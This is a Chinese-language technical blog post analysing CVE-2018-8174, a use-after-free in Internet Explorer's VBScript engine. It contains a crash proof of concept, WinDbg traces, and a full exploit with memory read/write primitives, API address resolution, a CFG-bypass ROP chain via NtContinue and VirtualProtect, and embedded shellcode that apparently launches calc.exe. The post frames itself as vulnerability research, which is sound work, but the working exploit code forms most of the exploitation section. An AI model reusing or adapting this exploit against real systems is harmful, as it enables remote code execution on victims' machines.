IE VBScript 漏洞之CVE-2018-8174
之前在IE VBScript 漏洞之CVE-2014-6332中,总结学习了VBScript中的关键数据结构,故在这篇中不再总结。如果错误,请指正,谢谢。
漏洞分析
POC
启用页堆
gflags.exe /i iexplore.exe +hpa
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
<body>
<script language="vbscript">
Dim array()
Dim array2(1)
Class MyClass
Private Sub Class_Terminate
Set array2(0)=array(1)
array(1)=1
End Sub
End Class
Redim array(1)
Set array(1)=New MyClass
Erase array
array2(0)=0
</script>
</body>
</html>
捕获异常如下,我们可以看到eax引用的地址已经被释放了,也就是对应在poc中的Erase array,调用Erase触发了Class_Terminate函数,在Class_Terminate函数中,将array(1) 赋值给了array2,然后又平衡了其引用计数,使得array2成了指向MyClass的悬挂指针,访问array2造成了访问异常。
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c607fd0 ebx=0aa8af90 ecx=00000009 edx=00000002 esi=0aa8af90 edi=00000009
eip=75a24971 esp=08aadf7c ebp=08aadf84 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
OLEAUT32!VariantClear+0xb3:
75a24971 8b08 mov ecx,dword ptr [eax] ds:002b:0c607fd0=????????
0:005> !heap -p -a eax
address 0c607fd0 found in
_DPH_HEAP_ROOT @ a31000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
a33618: c607000 2000
6d9c90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77e70acc ntdll!RtlDebugFreeHeap+0x0000002f
77e2a967 ntdll!RtlpFreeHeap+0x0000005d
77dd32f2 ntdll!RtlFreeHeap+0x00000142
772c98cd msvcrt!free+0x000000cd // eax所指向的内存已经被释放掉了
6bc2406c vbscript!VBScriptClass::`vector deleting destructor'+0x00000019
6bc2411a vbscript!VBScriptClass::Release+0x00000043
75a24977 OLEAUT32!VariantClear+0x000000b9
75a3e375 OLEAUT32!ReleaseResources+0x000000a3
75a3e003 OLEAUT32!_SafeArrayDestroyData+0x00000048
75a45d7d OLEAUT32!SafeArrayDestroyData+0x0000000f
75a45d63 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039
6bc6267f vbscript!VbsErase+0x00000057
······
调试
首先,我们将poc修改成如下。看一下正常的释放过程。
Dim array() Dim array2(1) Class MyClass End Class Redim array(1) Set array(1)=New MyClass IsEmpty(array) Erase array
0:005> p
eax=0c3c4fd0 ebx=0c3c4fd0 ecx=69381748 edx=00000000 esi=76e813b0 edi=0c3c4fd4
eip=69391f08 esp=0894f524 ebp=0894f534 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
vbscript!VBScriptClass::Release+0x15:
69391f08 ffd6 call esi {kernel32!InterlockedDecrementStub (76e813b0)}
0:005> dd edi
0c3c4fd4 00000001 00000000 0c28df88 00000a08
0c3c4fe4 00000000 00000000 00000000 00000000
vbscript!VBScriptClass::Release+0x15:
69391f08 ffd6 call esi {kernel32!InterlockedDecrementStub (76e813b0)} //引用计数减一
0:005> dps 0c3c4fd0
0c3c4fd0 69381748 vbscript!VBScriptClass::`vftable'
0c3c4fd4 00000000 //引用计数为0,VBScriptClass被释放
0c3c4fd8 00000000
0c3c4fdc 0c28df88
0c3c4fe0 00000a08
0c3c4fe4 00000000
0c3c4fe8 00000000
0c3c4fec 00000000
0c3c4ff0 00000000
0c3c4ff4 0c136fe4
我们来看看poc中MyClass在VbsScript中的释放过程。

0:005> g vbscript!VbsIsEmpty: 68f9c206 8bff mov edi,edi 0:005> dd poi(esp+c) 0a100fa0 c0c0600c c0c0c0c0 0ce59f88 0c24cfe8 0a100fb0 0000400c 00000000 0ce59fb8 00000000 0a100fc0 0000400c 00000000 0ce59f7c 00000000 0a100fd0 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 0a100fe0 00000000 00000000 c0c0c0c0 c0c0c0c0 0a100ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 0a101000 ???????? ???????? ???????? ???????? 0a101010 ???????? ???????? ???????? ???????? 0:005> dd poi(0ce59f88 ) 0c24cfe8 08800001 00000010 00000000 0bc3afe0 0c24cff8 00000002 00000000 ???????? ???????? 0c24d008 ???????? ???????? ???????? ???????? 0c24d018 ???????? ???????? ???????? ???????? 0c24d028 ???????? ???????? ???????? ???????? 0c24d038 ???????? ???????? ???????? ???????? 0c24d048 ???????? ???????? ???????? ???????? 0c24d058 ???????? ???????? ???????? ???????? 0:005> dt ole32!tagSAFEARRAY 0c24cfe8 +0x000 cDims : 1 +0x002 fFeatures : 0x880 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x0bc3afe0 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x0bc3afe0 0bc3afe0 00000000 00000000 00000000 00000000 0bc3aff0 c0c00009 c0c0c0c0 0a108fd0 c0c0c0c0 0bc3b000 ???????? ???????? ???????? ???????? 0bc3b010 ???????? ???????? ???????? ???????? 0bc3b020 ???????? ???????? ???????? ???????? 0bc3b030 ???????? ???????? ???????? ???????? 0bc3b040 ???????? ???????? ???????? ???????? 0bc3b050 ???????? ???????? ???????? ???????? 0:005> dps 0a108fd0 l 10 0a108fd0 68f81748 vbscript!VBScriptClass::`vftable' 0a108fd4 00000001 //此时引用计数为1 0a108fd8 0a10cf78 0a108fdc 0ce4df88 0a108fe0 00000f90 0a108fe4 00000000 0a108fe8 00000000 0a108fec 0a110efc 0a108ff0 00000000 0a108ff4 0cd18fe4 0a108ff8 00000000 0a108ffc 00000000 //在Erase array 之后,我们看到array2(1)指向了已经被释放的内存。 0:005> g vbscript!VbsIsEmpty: 68f9c206 8bff mov edi,edi 0:005> dd poi(esp+c) 0a100fa0 c0c0600c c0c0c0c0 0ce59fc4 0c248fe8 0a100fb0 0000400c 00000000 0ce59fb8 00000000 0a100fc0 0000400c 00000000 0ce59f7c 00000000 0a100fd0 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 0a100fe0 00000000 00000000 c0c0c0c0 c0c0c0c0 0a100ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 0a101000 ???????? ???????? ???????? ???????? 0a101010 ???????? ???????? ???????? ???????? 0:005> dt ole32!tagSAFEARRAY poi(0ce59fc4) +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x0c24afe0 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x0c24afe0 0c24afe0 c0c00009 c0c0c0c0 0a108fd0 c0c0c0c0 0c24aff0 00000000 00000000 00000000 00000000 0:005> dps 0a108fd0 //array2(1) 指向的内存已经被释放。 0a108fd0 ???????? 0a108fd4 ???????? 0a108fd8 ???????? 0a108fdc ???????? 0a108fe0 ???????? 0a108fe4 ???????? 0a108fe8 ????????
漏洞利用
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script language="vbscript">
Dim gNumber
Dim arrayA(6),arrayB(6)
Dim index
Dim gArray(40)
Dim hexA, hexB
Dim address
Dim memClassA,memClassB
Dim swapA,swapB
Dim NtContinueAddr,VirtualProtectAddr
hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
address = 0
index = 0
Function GetUint32(Addr)
Dim value
memClassA.mem(address + 8) = Addr + 4
memClassA.mem(address) = 8 'type string
value = memClassA.P0123456789
memClassA.mem(address) = 2
GetUint32 = value
End Function
Function readWord(addr)
readWord = GetUint32(addr) And 65535
End Function
Function readByte(addr)
readByte = GetUint32(addr) And (&hFF)
End Function
Function GetBaseByDOSmodeSearch(in_addr)
Dim addr
addr = in_addr And &hFFFF0000
Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44
addr = addr-&h10000
Loop
GetBaseByDOSmodeSearch = addr
End Function
Function StrCompWrapper(addr, szName)
Dim str,i
str = ""
For i = 0 To Len(szName) - 1
str = str & Chr(readByte(addr+i))
Next
StrCompWrapper = StrComp(UCase(str), UCase(szName))
End Function
Function GetBaseFromImport(base_address,name_input)
Dim import_rva,nt_header,descriptor,import_dir
Dim addr
nt_header = GetUint32(base_address + (&h3c))
import_rva = GetUint32(base_address + nt_header + &h80)
import_dir = base_address + import_rva
descriptor = 0
Do While True
Dim NameOffset
NameOffset = GetUint32(import_dir + descriptor * (&h14)+&hC)
If NameOffset = 0 Then
GetBaseFromImport = &hBAAD0000
Exit Function
Else
If StrCompWrapper(base_address + NameOffset, name_input) = 0 Then
Exit Do
End If
End If
descriptor = descriptor+1
Loop
addr = GetUint32(import_dir + descriptor * (&h14)+&h10)
addr = GetUint32(base_address + addr)
GetBaseFromImport = GetBaseByDOSmodeSearch(addr)
End Function
Function GetProcAddr(dll_base,name)
Dim p, export_dir, index
Dim function_rvas, function_names, function_ordin
Dim Ordin
p = GetUint32(dll_base + &h3c)
p = GetUint32(dll_base + p + &h78)
export_dir = dll_base + p
function_rvas = dll_base + GetUint32(export_dir + &h1c)
function_names = dll_base + GetUint32(export_dir + &h20)
function_ordin = dll_base + GetUint32(export_dir + &h24)
index = 0
Do While True
Dim offset
offset = GetUint32(function_names + index * 4)
If StrCompWrapper(dll_base + offset, name) = 0 Then
Exit Do
End If
index = index+1
Loop
Ordin = readWord(function_ordin + index * 2)
p = GetUint32(function_rvas + Ordin * 4)
GetProcAddr = dll_base + p
End Function
Function GetShellcode()
hexCode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc")
GetShellcode = hexCode
End Function
Function BuildVirtualTable
Dim i,szNtContinueAddr,str,szAddr0,szAddr8,szAddr16,szAddr24
szNtContinueAddr = NumberToString(NtContinueAddr, 8)
szAddr0 = Mid(szNtContinueAddr,1,2)
szAddr8 = Mid(szNtContinueAddr,3,2)
szAddr16 = Mid(szNtContinueAddr,5,2)
szAddr24 = Mid(szNtContinueAddr,7,2)
str = ""
str = str & "%u0000%u" &szAddr24 &"00"
For i = 1 To 3
str = str & "%u" &szAddr8 &szAddr16
str = str & "%u" &szAddr24 &szAddr0
Next
str = str & "%u" & szAddr8 & szAddr16
str = str & "%u00" & szAddr0
BuildVirtualTable = Unescape(str)
End Function
Function NumberToString(ByVal Number, ByVal Length)
hNumber = Hex(Number)
If Len(hNumber) < Length Then
hNumber = String(Length - Len(hNumber), "0") & hNumber 'pad allign with zeros
Else
hNumber = Right(hNumber, Length)
End If
NumberToString = hNumber
End Function
Function EscapeAddress(ByVal value)
Dim High,Low
High = NumberToString((value And &hFFFF0000) / &h10000, 4)
Low = NumberToString(value And &hFFFF, 4)
EscapeAddress = Unescape("%u"&Low&"%u"&High)
End Function
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
Dim ropChain
'pad1 0 - 10FDC
ropChain = String(34798, Unescape("%u4141"))
'rop chain
ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)
ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)
ropChain = ropChain & EscapeAddress(&h3000)
ropChain = ropChain & EscapeAddress(&h40)
ropChain = ropChain & EscapeAddress(ShellcodeAddrParam-8)
ropChain = ropChain & String(6, Unescape("%u4242"))
ropChain = ropChain & BuildVirtualTable()
'pad2
ropChain = ropChain & String((&h80000 - LenB(ropChain)) / 2, Unescape("%u4141"))
WrapShellcodeWithNtContinueContext = ropChain
End Function
Function ExpandWithVirtualProtect(ropAddr)
Dim szContext
Dim Addr
'0 - 10FDC
Addr = ropAddr + &h23
szContext = ""
szContext = szContext & EscapeAddress(Addr)
szContext = szContext & String((&hb8 - LenB(szContext)) / 2, Unescape("%4141"))
szContext = szContext & EscapeAddress(VirtualProtectAddr)
szContext = szContext & EscapeAddress(&h1b)
szContext = szContext & EscapeAddress(0)
szContext = szContext & EscapeAddress(ropAddr)
szContext = szContext & EscapeAddress(&h23)
szContext = szContext & String((&400-LenB(szContext))/2,Unescape("%u4343"))
ExpandWithVirtualProtect = szContext
End Function
Sub ExecuteShellcode
memClassA.mem(address) = &h4d
Msgbox "ExecuteShellcode"
memClassA.mem(address + 8) = 0
End Sub
Class claA
Private Sub Class_Terminate()
Set arrayA(index) = gNumber(1)
index = index + 1
gNumber(1) = 1
End Sub
End Class
Class claB
Private Sub Class_Terminate()
Set arrayB(index)=gNumber(1)
index=index+1
gNumber(1)=1
End Sub
End Class
Class testClass
End Class
Class memClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem = Value
SetProp = 0
End Function
End Class
Class readMemClass
Dim mem
Function P0123456789
P0123456789 = LenB(mem(address+8))
End Function
Function SPP
End Function
End Class
Class swapObjectA
Public Default Property Get P
Dim object
P = 174088534690791e-324
For i = 0 To 6
arrayA(i) = 0
Next
Set object = New readMemClass
object.mem = hexA
For i = 0 To 6
Set arrayA(i) = object
Next
End Property
End Class
Class swapObjectB
Public Default Property Get P
Dim object
P=636598737289582e-328
For i = 0 To 6
arrayB(i) = 0
Next
Set object = New readMemClass
object.mem = hexB
For i = 0 To 6
Set arrayB(i) = object
Next
End Property
End Class
Set swapA = New swapObjectA
Set swapB = New swapObjectB
Sub UAF
For i = 0 To &h11
Set gArray(i) = New testClass
Next
For i = &h14 To &h26
Set gArray(i) = New memClass
Next
index = 0
For i = 0 To 6
ReDim gNumber(1)
Set gNumber(1) = New claA
Erase gNumber
Next
Set memClassA = New memClass //申请memClass进行占位
arrayB(0) = 0
index = 0
For i = 0 To 6
ReDim gNumber(1)
Set gNumber(1) = New claB
Erase gNumber
Next
Set memClassB = New memClass ////申请memClass进行占位
End Sub
Sub InitObjects
memClassA.SetProp(swapA)
memClassB.SetProp(swapB)
address = memClassB.mem
End Sub
Sub testSub
End Sub
Function GetMemValue
memClassA.mem(address) = 3
GetMemValue = memClassA.mem(address + 8)
End Function
Sub SetMemValue(ByRef in_Ref)
memClassA.mem(address + 8) = in_Ref
End Sub
Function LeakVBAddr
On Error Resume Next
Dim pCScriptEntryPointObject
pCScriptEntryPointObject = testSub
pCScriptEntryPointObject = null
SetMemValue pCScriptEntryPointObject
LeakVBAddr = GetMemValue()
End Function
Sub StartExploit
UAF
InitObjects
pCScriptEntryPointObject = LeakVBAddr()
pVTable = GetUint32(pCScriptEntryPointObject)
vbs_base = GetBaseByDOSmodeSearch(pVTable)
msv_base = GetBaseFromImport(vbs_base, "msvcrt.dll")
krb_base = GetBaseFromImport(msv_base, "kernelbase.dll")
ntd_base = GetBaseFromImport(msv_base, "ntdll.dll")
VirtualProtectAddr = GetProcAddr(krb_base, "VirtualProtect")
NtContinueAddr = GetProcAddr(ntd_base, "NtContinue")
SetMemValue GetShellcode()
ShellcodeAddr = GetMemValue() + 8
'同样的方法获得shellcode地址
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
ropAddr = GetMemValue() + 69596
'ExpandWithVirtualProtect 构建CONTEXT
SetMemValue ExpandWithVirtualProtect(ropAddr)
GetMemValue()
ExecuteShellcode
End Sub
StartExploit
</script>
</body>
</html>
构造数组
在Exploit中,当执行完UAF函数,使用memclass函数对释放的内存进行站位。
0:005> dt ole32!tagSAFEARRAY poi(poi(esp+c)+c) +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x0051e630 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x0051e630 0051e630 00000009 00000000 02aa0858 00000000 0051e640 6bcb0009 02aa085c 02aa0858 6bcb4211 0051e650 6bcb0009 02aa085c 02aa0858 6bcb4211 0051e660 6bcb0009 02aa085c 02aa0858 6bcb4211 0051e670 6bcb0009 02aa085c 02aa0858 6bcb4211 0051e680 6bcb0009 02aa085c 02aa0858 6bcb4211 0051e690 6bcb0009 02aa085c 02aa0858 6bcb4211 0051e6a0 3192fbe7 88000000 00000000 00000000
下面我们来看下InitObjects函数的功能,SetProp函数触发 SetProp的Public Default Property Get P函数执行,在此函数中,将memClass再次释放,并再次使用readMemClass进行站位,并将hexA赋值给readMemClass的成员变量mem,将并将返回的P = 174088534690791e-324(00000005 02aa01dc 00000000 0000200c)复制给memClass的成员变量mem。因为
readMemClass和memClass的mem变量地址相差0xc,因此出现了内存重叠。对memClass的成员变量mem赋值造成了readMemClass.mem 的类型变为了一个大小为0x7FFFFFFF每个元素占1Byte的variant,最终实现任意地址读写。
注意:上传附件及图片大小不得大于30M。
⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。
